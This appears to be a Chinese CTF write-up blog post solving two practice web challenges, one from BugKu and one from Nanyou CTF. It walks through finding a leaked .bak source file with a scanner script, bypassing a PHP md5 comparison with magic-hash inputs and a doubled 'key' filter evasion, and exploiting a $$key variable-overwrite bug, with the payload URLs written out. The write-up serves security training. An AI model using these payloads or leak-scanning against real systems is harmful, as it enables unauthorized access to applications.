CTF-刷题1

备份是个好习惯-BugKu

题目地址

听说备份是个好习惯


进入页面发现是一串数据,

d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
先尝试解密无果之后,在看题,是备份题,于是尝试备份后缀
此处借用@王一航大佬的脚本,感谢大佬,我略微做了修改
python SourceLeakHackerForWindows.py http://123.206.87.240:8002/web16/

脚本链接

/index.php.bak
/index.php

可以知道这两个有问题

结合备份,知道在/index.php.bak里面,然后打开发现源代码,代码审计


include_once "flag.php";
ini_set("display_errors", 0);
/*strstr获得URI从'?'往后(包括'?')的字符串*/
$str = strstr($_SERVER['REQUEST_URI'], '?');
/*去掉?*/
$str = substr($str,1);
/*将key替换为空*/
$str = str_replace('key','',$str);
/*parse_str把字符串解析到变量中*/
parse_str($str);
echo md5($key1);

echo md5($key2);
/*md5比较,利用php弱类型绕过*/
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

送上网址 0e开头md5汇总

构造payload:?kkeyey1=QNKCDZO&kkeyey2=s878926199a
拿到flag





变量覆盖-南邮CTF

变量覆盖,代码审计类题目

题目地址

进入页面,发现一片空白,直接查看源代码


<!--foreach($_GET as $key => $value){  
        $$key = $value;  
}  
if($name == "meizijiu233"){
    echo $flag;
}-->

然后代码审计,发现是变量覆盖(其实题目已经说了)

一顿操作之后就是将url传进来的参数传递给 $+传进来的变量名,然后往下看,可以知道,这个传进来的变量名应该是name,所以,
构造payload
view-source:http://chinalover.sinaapp.com/web24/?name=meizijiu233

得到flag

通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞。经常导致变量覆盖漏洞场景有:$$,extract(),parse_str(),import_request_variables()使用不当



如果觉得弱鸡博主还行,可以点个赞嘛?^_^

你可能感兴趣的:(CTF,南邮CTF,BugKu)